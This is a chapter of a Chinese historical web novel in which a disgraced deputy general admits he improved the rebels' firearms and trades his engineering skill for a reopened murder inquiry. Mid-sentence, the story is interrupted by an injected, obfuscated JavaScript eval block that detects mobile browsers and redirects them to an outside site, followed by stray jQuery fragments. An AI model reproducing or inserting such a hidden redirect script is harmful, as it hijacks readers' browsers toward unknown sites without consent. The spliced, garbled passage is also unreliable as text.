镇云的晨光从远山中漏出来，依旧带着冬日的冷风，寒气逼人。


    赵丛带人在周敬鸣帐外呼啦啦站了一排，帐帘扯了，将大帐里外翻了个底朝天，连被子都挑开了线，翻找他通敌的证据。


    经过周敬鸣时，一向乐呵呵的赵丛，极轻蔑地瞥了他一眼。


    几个副将中，他从前最佩服的便是周敬鸣，他读书好，脑袋灵光，脾气好，不好酒不好色，不贪功不冒进。


    这样的人，像是清修的道士，在军营里极为罕见。


    偏偏这样的人，不声不响中通敌叛国，与叛贼勾结，意图在镇云起事。


    若是周敬鸣此番起事成功，那他们的命运可想而知。


    不是如石勋一般被吴良暗害，就是为了弥补他们失察的罪过，与吴良等战死沙场。


    从军之人，谁没想过死？他不怕死，可死在自己人手里，太窝囊了。


    赵丛冷冷讥讽他，“周副将，好大的本事！”


    他留了一队人守在大帐外，便去找沈寂汇报。


    周敬鸣一言不发。


    姜怀卿清洗了腿上的创口，摸了止血的药膏，白乎乎一片，光洁的小腿搭在长凳上等着药膏晾干。


    幸好，沈寂让她和周敬鸣事先藏了起来，她全身上下，除了吴良闪避第一枪，大力推开时，她撞到帐外铁制脚架的这个腿伤，其它都是些淤青罢了。


    太阳已完全升起来，照得大帐里亮堂堂。


    她瞥了眼周敬鸣，他背光坐着，阴影里看不清他的神情，整个人背躬着，像是她幼时在广源寺看到的那些晒蔫了的向日葵，日头下耷拉着脑袋。


    他一动不动，没有辩解，没有争论，和她初见时那个敏锐凌厉的样子，仿佛是两个人。


    姜怀卿说出了最想说的那句话，“我哥哥，是太子杀的。”


    她这句像是疑问，又像是回答。


    周敬鸣僵直的脊背动了动，背直起来那瞬间，他干裂的嘴唇动了动，似是想说什么。


    最终，什么都没说。


    周敬鸣本能想反驳，但这一次的反驳他说不出口。


    他转身背对姜怀卿，看向帐外。


    日光晴好，和他与姜怀诚见最后一面那日，一样好。


    “敬鸣，今日我妹妹要回到上京了，我要去买她爱吃的那家——平记云片糕，不能与你同路了。”


    不能与你同路了......


    那时，他只道是冗长日子里，再寻常不过的寥寥一天。


    那时，他还不知这句话的意义。


    太阳东升西落，西落东升，姜怀诚再也没有迎着阳光向他走来，拍拍他的肩膀，与他轻快告别。


    仿佛第二日他们会照旧在衙署相见一般，那样的轻快。


    夕阳下，他向着远离自己的方向走去，风吹起他的衣角，天青色的常服上水波纹荡漾在夕阳的余晖里，腰间垂着太子为他们三人定制的名章。


    周敬鸣垂眸看向掌心的名章，摩挲名字的沟壑。


    吴良的话，每个字都像一根钉子，扎在他心上。


    “天青色水波纹的外袍......”


    那件外袍正是姜怀诚那日所穿，那件外袍是太子送他的，他十分珍视，为了见妹妹第一次穿。


    吴良绝不可能早前见过他这件常服，姜怀诚遇害后，春月楼就被看管起来，围得铁桶一般，有进无出，更不可能事后见过，加之他说的那些特征，也的确是姜怀诚身上的特征。


    周敬鸣无法再骗自己。


    可是，王实甫没有理由害姜怀诚，太子更没有理由。


    他想不通，但他觉得是该坦诚一些了。


    事情过了这么多年，怀诚尸骨未寒，他靠着自己，独自调查，独自报仇，竟然一直都在错误的路上，甚至可能被仇人当枪使。


    “你哥哥......”，周敬鸣换了个称呼，“怀诚的尸体被偷了......”


    姜怀卿丝毫不意外，这大大出乎周敬鸣的意料。


    “你知道？”


    姜怀卿点点头，“沈寂查到了，他看过案卷，对比过仵作验尸的记录，仵作所查验那具尸体不是我哥哥。”


    周敬鸣蹙眉，“沈寂，你真相信他？”


    “至少那时他并不在上京，此事与他无利益关系。”


    她没有回答相信，或是不相信，沈寂于她，是合作者。


    沈寂在上京三年稽查的那些官员，她细细查过他们的底细，没有一个是冤枉的。


    或是自己不干净，卖官鬻爵，或者纵容家人欺男霸女、低价买田、高价卖田，官服文书上都齐全可查，背地里却干着强买强卖的勾当。


    金吾卫抓了他们，算是为民除害。


    所谓的活阎王，都是为了统领金吾卫搞个名头罢了。


    说到底，沈寂......不算个坏人。


    只是沈寂这个人，甚少有情绪，除了会为那小郡主的事心焦，平日里无波无澜，这样一个让人琢磨不透的人，她也不敢相信。


    周敬鸣还想问什么，一个士兵进来，冷冷地说，“沈将军，有请二位。”


    大帐里，周敬鸣还未进门，就听到了沈寂的声音，“军营内的调整，皇上让我全权代理。”


    沈寂余光扫到周敬鸣进来，“免除周敬鸣副将之职，擢升王仲传为副将，即日起，赵丛由代理主将正式升为主将，我不日便会回上京。”


    宣布完，赵丛一行人出去，船儿看一眼石头，石头隐蔽地点点头，留了周敬鸣和姜怀卿在帐内。


    沈寂不再兜圈子，“周敬鸣，你底档里工学和算学的成绩极好，可以说是近十年来第一人，我已写了军报，向皇上求情保你一命。”


    周敬鸣盯着他的眼睛，想看出他背后的阴谋和算计。


    “你出身好，读书这种事，太子太傅的老师、状元同门于你是顺理成章，但于大齐很多人来说，读书是千求万求而不得的事。”


    沈寂心里清楚，周敬鸣这类科班进士出身的官员，最看不上的就是他这样底层拼上来的大老粗。


    他抿唇看向周敬鸣，目光淡然，其实，他心里何尝不是瞧不上周敬鸣。


    知识分子的清高，于这残忍赤裸的现实之中，堪称百无一用。


    他的清高和执拗，只会葬送了自己的前程。


    吴良那厮，只不过一介阴狠莽夫，怎么可能改造弹药，改良火铳？


    那帮手下更是一帮流民，斗大字不识几个。


    改良之人，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646249|164964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只会是周敬鸣。


    “我惜才，皇上更惜才。你的工学和算学才能，改良火铳、改造弹药、甚至造火炮都未可知，将来报国远胜过在这里做一个副将。”


    他最后一次劝告周敬鸣。


    “沈寂，那弹丸是我改造的，而且我已经设计了火炮的样式图，我知道皇上一直在找各方渠道采买火炮。”


    周敬鸣看一眼姜怀卿，“我只有一个条件，我要给姜怀诚翻案。”


    沈寂眯起眼睛看他，“你......跟皇上谈条件？”


    若是求情，大约能活命，可若是威胁，那火炮造出之时，便是他周敬鸣的死期。


    “是，请皇上下令严查，无论凶手是谁，都不包庇。”


    “好，你想清楚，我会把你这句话写在军报里。”


    周敬鸣看看他书案上写到一半的急报，“大丈夫，生亦何欢，死亦何惧！”


    沈寂当着他的面落笔，将急报封好。


    这样的军报，一旦发出，姜怀诚的这个案子终究是要翻到太阳底下了。


    上京不知是怎样的血雨腥风。


    天理昭昭，日月可鉴。


    周敬鸣如释重负，这一天总算来了。


    皇帝下令重启调查，沈寂这个活阎王恶名在外，当年所经手的大小官员，都迎接审判吧！


    他郑重地向沈寂鞠躬行礼，“沈将军，有关此案，我有一事禀报。当年怀诚的尸体停在衙署，被人悄悄偷走了。”


    “可知什么人？”


    “那伙人蒙着面，看步伐不是习武之人，头目姓周，但我那几日遍寻上京出殡的人家，没有一家人姓周。”


    周敬鸣将那日所见，据实告知沈寂。


    他本就觉得怀诚之死十分可疑，当夜便去了衙署，却看到了四个人抬着一个木箱出去，喊顶头一个人周少爷。


    他再去看尸体时，已不是姜怀诚，才知尸体被掉包了。


    方才意识到，那几个人所抬的木箱应该是被偷走的姜怀诚。


    可是追出去时，已踪迹全无。


    “好，我回上京便查。”


    沈寂打发周敬鸣和姜怀卿回去后，命船儿对周敬鸣严加看管。


    转去舆图后面看李云琅，她躺在床上，一动不敢动，脸颊泛着红晕。


    “怎么了？不舒服？”


    沈寂手探过去，蹙着眉说，“热消了，怎么脸还这样红？”


    “我去叫军医来！”


    李云琅牵着他的手指，咬唇小声说，“别......别叫军医。”


    沈寂耐心等着她的下半句，李云琅看他一眼，又极快地垂下头，“你帮我叫姜姑娘可以吗？”


    长久的沉默里，她的耳尖和脸颊愈发红艳，沈寂明白了，是月事。


    “每次月事都是那么多血吗？”


    李云琅猛得抬头，心里暗道，沈寂你在说什么？


    刚想瞪他，忽然记起，广源寺那日，自己的确是流了不少的血。


    沈寂想到师父那日所说，那年大雪她伤了元气，此生恐难有孕。


    蹲下身子，看着她的眼睛，将她唇角的发丝抿到耳后，“小菩萨，我会负责。”


    如果可以，做你一辈子誊抄医典的书童。